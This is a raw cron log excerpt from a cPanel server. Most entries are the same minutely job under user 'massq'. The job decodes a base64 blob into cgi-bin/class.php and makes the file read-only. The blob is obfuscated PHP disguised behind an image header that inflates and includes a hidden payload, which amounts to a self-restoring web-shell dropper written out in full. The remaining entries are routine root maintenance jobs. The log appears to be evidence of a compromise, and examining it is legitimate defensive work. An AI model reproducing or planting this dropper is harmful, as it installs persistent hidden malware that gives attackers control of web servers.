Nov 15 16:07:01 server CROND[24648]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:08:01 server CROND[24991]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:09:01 server CROND[25245]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:09:01 server CROND[25246]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 16:10:01 server CROND[25522]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 16:10:01 server CROND[25523]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:10:01 server CROND[25524]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 16:10:01 server CROND[25525]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 16:11:01 server CROND[25847]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:12:01 server CROND[26111]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:12:01 server CROND[26112]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 16:13:02 server CROND[26442]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:14:01 server CROND[26731]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:15:01 server CROND[26993]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 16:15:01 server CROND[26994]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:15:01 server CROND[26991]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 15 16:15:01 server CROND[26992]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 16:16:01 server CROND[27311]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:17:01 server CROND[27568]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:18:01 server CROND[27835]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:19:01 server CROND[28206]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:20:01 server CROND[28568]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 16:20:01 server CROND[28572]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
